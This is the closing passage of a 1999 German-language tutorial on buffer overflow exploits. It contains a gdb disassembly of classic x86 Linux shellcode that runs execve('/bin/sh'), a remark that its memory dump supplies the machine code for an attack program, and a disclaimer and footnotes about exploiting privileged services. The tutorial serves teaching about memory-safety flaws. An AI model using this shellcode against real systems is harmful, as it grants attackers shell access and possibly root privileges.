                   0x8048463 (main+3): jmp 0x804847d (main+29)
                   0x8048465 (main+5): popl %ebp
                   0x8048466 (main+6): xorl %eax,%eax
                   0x8048468 (main+8): movb %al,0x7(%ebp)
                   0x804846b (main+11): movl %ebp,0x8(%ebp)
                   0x804846e (main+14): movl %eax,0xc(%ebp)
                   0x8048471 (main+17): movb $0xb,%al
                   0x8048473 (main+19): movl %ebp,%ebx
                   0x8048475 (main+21): leal 0x8(%ebp),%ecx
                   0x8048478 (main+24): leal 0xc(%ebp),%edx
                   0x804847b (main+27): int $0x80
                   0x804847d (main+29): call 0x8048465 (main+5)
                   0x8048482 (main+34): das
                   0x8048483 (main+35): boundl 0x6e(%ecx),%ebp
                   0x8048486 (main+38): das
                   0x8048487 (main+39): jae 0x80484f1
                   0x8048489 (main+41): addb %cl,0x90c35dec(%ecx)
                   0x804848f (main+47): nop
                   Wir sehen, daß unser Maschinencode an der relativen Position »« beginnt und an der relativen Position »«
                   endet. Danach folgt der String »/bin/sh«. Durch einen Dump des entsprechenden Speicherbereiches erhalten
                   wir den dazugehörigen Maschinencode, den wir in dem Angriffsprogramm verwenden können.
 
 
 
 
 

                   Copyright © 1999 Jochen Bauer , . Die in diesem Artikel zur Verfügung gestellten Informationen und
                   Programme sind ausschließlich für Lehrzwecke bestimmt und dürfen nicht zum unauthorisierten eindringen in
                   Computersysteme verwendet werden. Die Verwendung der in diesem Artikel gegebenen Anleitungen und
                   Beispielprogramme erfolgt auf eigene Gefahr!
 
 
 
 
 
 

                   1 Der Standardsatz ist in diesem Fall meistens nur:«By supplying carefully crafted arguments, an attacker
                   can execute arbitrary code with the privilleges of that program«.
                   2 Zumindest die gängigen C Compiler. Es gibt jedoch auch einige Spezialcompiler mit diesbezüglichen
                   Schutzfunktionen.
                   3 Alle Beispile sollten mit dem GUN C Compiler ohne Optimierung kompiliert werden, um die passende
                   Reihenfolge der Variablen im Speicher zu gewährleisten.
                   4 Vielleicht ist die Bezeichnung »Modellnetzwerkdienst« angebrachter.
                   5 Dies ist auch in den meisten Fällen unumgänglich, da das entsprechende Programm Root Rechte zur
                   Erledigung seiner Aufgabe benötigt.
                   6 1024 Bytes - 2 Byte für »Carriage Return« und »Newline«
                   7 Die Ausnutzung dieses Buffer Overflow Bugs würde sich beträchtlich erschweren, wenn wir als Eingabe nur
                   ASCII Zeichen zulassen würden.
                   8 Es sei nochmals daran erinnert, daß auf der ix86 Architektur der Stack zu niedrigeren Speicheraddressen
                   hin wächst.
                   9 Dies ist vor allem bei starker Optimierung der Fall.
                   10 Generell wird dies nur dann möglich sein, wenn das betroffene Programm interaktiv arbeitet.
                   11 Beziehungsweise eine Shell mit den Rechten des Benutzers, der in der Datei inetd.conf für diesen Dienst
                   eingetragen ist.
                   12 Beachte: Happy Hacking, und nicht Happy Cracking. Dies ist also kein Aufruf zu einer Straftat!